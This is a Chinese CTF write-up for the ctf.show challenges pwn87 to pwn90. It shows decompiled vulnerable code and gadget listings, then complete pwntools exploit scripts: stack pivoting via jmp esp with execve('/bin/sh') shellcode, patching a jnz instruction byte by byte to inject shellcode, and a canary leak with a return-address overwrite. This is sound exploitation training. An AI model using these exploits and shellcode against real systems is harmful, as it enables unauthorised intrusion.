花式栈溢出

pwn87

1
2
3
4
5
6
7
8
9
10
int ctfshow()
{
char s[28]; // [esp+8h] [ebp-20h] BYREF

puts("What's your name?");
fflush(stdout);
fgets(s, 50, stdin);
printf("Hello %s.", s);
return fflush(stdout);
}

fgets(s, 50, stdin);存在栈溢出漏洞。

50 - 0x20 - 0x04 = 14

可利用的空间不足,要利用栈迁移。

1
ROPgadget --binary=pwn --only='jmp|ret'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
~$ ROPgadget --binary=pwn --only='jmp|ret'
Gadgets information
============================================================
0x08048bcf : jmp 0x2825346b
0x080483bb : jmp 0x80483a0
0x08048534 : jmp 0x80484c0
0x08048612 : jmp 0x8048613
0x08048624 : jmp 0x8048625
0x08048636 : jmp 0x8048637
0x0804866c : jmp 0x804866d
0x080485f3 : jmp 0x8c0485f5
0x080485ca : jmp 0xf05585ce
0x080485dc : jmp 0xf05585e0
0x08048d17 : jmp esp
0x0804837a : ret
0x080484ce : ret 0xeac1

Unique gadgets found: 13

找到0x08048d17 : jmp esp

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

# 连接远程服务器
p = remote('pwn.challenge.ctf.show', 28287)

# 设置上下文为 32 位(i386)
context(arch='i386', os='linux', log_level='debug')

# 加载 ELF 文件
elf = ELF('./pwn')

# 定义 x86 shellcode(注意前面加 b 表示 bytes)
shellcode_x86 = (
b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
b"\x0b\xcd\x80"
)

# 生成 sub esp, 0x28; jmp esp 的机器码
sub_esp_jmp = asm('sub esp, 0x28; jmp esp')

# 固定地址(需根据实际程序确认)
jmp_esp = 0x08048d17

# 构造 payload
payload = shellcode_x86
payload += b'b' * (0x20 - len(shellcode_x86)) # 填充到 0x20
payload += b'bbbb' # ebp
payload += p32(jmp_esp) # 覆盖返回地址
payload += sub_esp_jmp # 跳转指令

# 发送 payload
p.sendline(payload)

# 交互模式
p.interactive()

解释一下疑惑点,当执行到p32(jmp_esp);由于函数返回时执行leave ret;leave:pop ebp 是esp会指向ebp + 4 也就是 sub_esp_jmp;然

后esp 转到 esp - 0x28的位置,也就是s的起始位置;jmp esp使得esp指向s的起始位置,ret使得esp指向eip,执行shellcode。

pwn88

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+8h] [rbp-18h] BYREF
int v5; // [rsp+Ch] [rbp-14h]
__int64 v6[2]; // [rsp+10h] [rbp-10h] BYREF

v6[1] = __readfsqword(0x28u);
setbuf(_bss_start, 0LL);
printf("Where What?");
v5 = __isoc99_scanf("%llx %d", v6, &v4);
if ( v5 != 2 )
return 0;
*(_BYTE *)v6[0] = v4;
if ( v4 == 0xFF )
puts("No flag for you");
return 0;
}

可以看到可以用v4来修改v6这个内存地址。

这个只有一次读入肯定是不够的,所以要构造一个循环

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
text:00000000004006F2                 push    rbp
.text:00000000004006F3 mov rbp, rsp
.text:00000000004006F6 sub rsp, 20h
.text:00000000004006FA mov rax, fs:28h
.text:0000000000400703 mov [rbp+var_8], rax
.text:0000000000400707 xor eax, eax
.text:0000000000400709 mov rax, cs:__bss_start
.text:0000000000400710 mov esi, 0 ; buf
.text:0000000000400715 mov rdi, rax ; stream
.text:0000000000400718 call _setbuf
.text:000000000040071D mov edi, offset format ; "Where What?"
.text:0000000000400722 mov eax, 0
.text:0000000000400727 call _printf
.text:000000000040072C lea rdx, [rbp+var_18]
.text:0000000000400730 lea rax, [rbp+var_10]
.text:0000000000400734 mov rsi, rax
.text:0000000000400737 mov edi, offset aLlxD ; "%llx %d"
.text:000000000040073C mov eax, 0
.text:0000000000400741 call ___isoc99_scanf
.text:0000000000400746 mov [rbp+var_14], eax
.text:0000000000400749 cmp [rbp+var_14], 2
.text:000000000040074D jz short loc_400756
.text:000000000040074F mov eax, 0
.text:0000000000400754 jmp short loc_400778
.text:0000000000400756 ; ---------------------------------------------------------------------------
.text:0000000000400756
.text:0000000000400756 loc_400756: ; CODE XREF: main+5B↑j
.text:0000000000400756 mov rax, [rbp+var_10]
.text:000000000040075A mov edx, [rbp+var_18]
.text:000000000040075D mov [rax], dl
.text:000000000040075F mov eax, [rbp+var_18]
.text:0000000000400762 cmp eax, 0FFh
.text:0000000000400767 jnz short loc_400773
.text:0000000000400769 mov edi, offset s ; "No flag for you"
.text:000000000040076E call _puts
.text:0000000000400773
.text:0000000000400773 loc_400773: ; CODE XREF: main+75↑j
.text:0000000000400773 mov eax, 0
.text:0000000000400778
.text:0000000000400778 loc_400778: ; CODE XREF: main+62↑j
.text:0000000000400778 mov rcx, [rbp+var_8]
.text:000000000040077C xor rcx, fs:28h
.text:0000000000400785 jz short locret_40078C
.text:0000000000400787 call ___stack_chk_fail
.text:000000000040078C ; ---------------------------------------------------------------------------
.text:000000000040078C
.text:000000000040078C locret_40078C: ; CODE XREF: main+93↑j
.text:000000000040078C leave
.text:000000000040078D retn

再汇编中我们可以看到

1
.text:0000000000400767                 jnz     short loc_400773;

我们可以利用这个使得其调回到000000000040071D到达printf的地址进行二次输入。第二次输入(修改jnzjmp)达到无条件转跳,

从而达到循环。

然后利用单字节写入在0x0000000000400769写入shellcode,最后再利用修改jmp转跳到shellcode的地址来执行shellcode。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

# 设置目标程序(根据需求选择一种连接方式)
#p = process('./pwn')
p = remote('pwn.challenge.ctf.show', '28194') # 远程连接

context(arch='amd64', os='linux', log_level='debug')
elf = ELF('./pwn')

text_addr = 0x400767 # 需要修改的关键指令地址

def write_data(addr, data):
"""向指定地址写入数据(实际只修改最低字节)"""
p.sendlineafter('Where What?', f'{hex(addr)} {data}')

# 第一步:修改跳转偏移(保留原指令结构)
# 将jnz指令的偏移改为0xB6(-0x4A的补码)
jnz_offset = u32(asm('jnz $-0x4A')[1:].ljust(4, b'\x00'))
write_data(text_addr + 1, jnz_offset)

# 第二步:修改操作码为jmp(短跳转)
jmp_opcode = u32(asm('jmp $-0x4A')[0:1].ljust(4, b'\x00'))
write_data(text_addr, jmp_opcode)

# 第三步:在text+2位置注入shellcode
shellcode = asm('''
mov rax, 0x68732f6e69622f # "/bin/sh"的十六进制
push rax
mov rdi, rsp # 文件名参数
mov rax, 59 # execve系统调用号
xor rsi, rsi # argv = NULL
xor rdx, rdx # envp = NULL
syscall
''')

shellcode_addr = text_addr + 2
for i, byte in enumerate(shellcode):
write_data(shellcode_addr + i, byte) # 逐字节写入shellcode

# 第四步:修正跳转偏移为+2(指向shellcode起始位置)
corrected_offset = u32(asm('jnz $+0x2')[1:].ljust(4, b'\x00'))
write_data(text_addr + 1, corrected_offset)

# 获取交互式shell
p.interactive()

pwn89

这题我写在[canary](pwn各类题型总结 | 网络幻影)这块

pwn 90

利用第一个read和printf泄露canary

再利用栈溢出将返回地址的最低位覆盖成后门地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

context.binary = './pwn'
context.log_level = 'debug'

# 启动进程
#p = process('./pwn')
p = remote("pwn.challenge.ctf.show",28145)

# 接收欢迎消息
p.recvuntil(b'Welcome CTFshow:')

# 构造第一个payload:40字节填充 + 1字节覆盖Canary最低位
payload1 = b'A' * 40 + b'B'
p.send(payload1)

# 接收数据直到 'Hello ' 后的内容
p.recvuntil(b'Hello ')
data = p.recvuntil(b':\n', drop=True)

log.info(f"Received data length: {len(data)}")
if len(data) < 48:
log.error("Did not receive enough data")
p.close()
exit(1)

# 提取 Canary
canary_leaked = data[41:48] # 我们发的 B 后面7字节
canary = b'\x00' + canary_leaked # Canary 高位补 \x00
canary_val = u64(canary.ljust(8, b'\x00'))

log.success(f"Leaked canary: {hex(canary_val)}")

# 构造第二个payload
payload2 = b'A' * 40 + p64(canary_val) + b'B' * 8 + b'\x3f'

# 调试查看payload
#log.info("Payload2 dump:")
#print(hexdump(payload2))

p.send(payload2)
#gdb.attach(p)
#pause()
# 交互模式
p.interactive()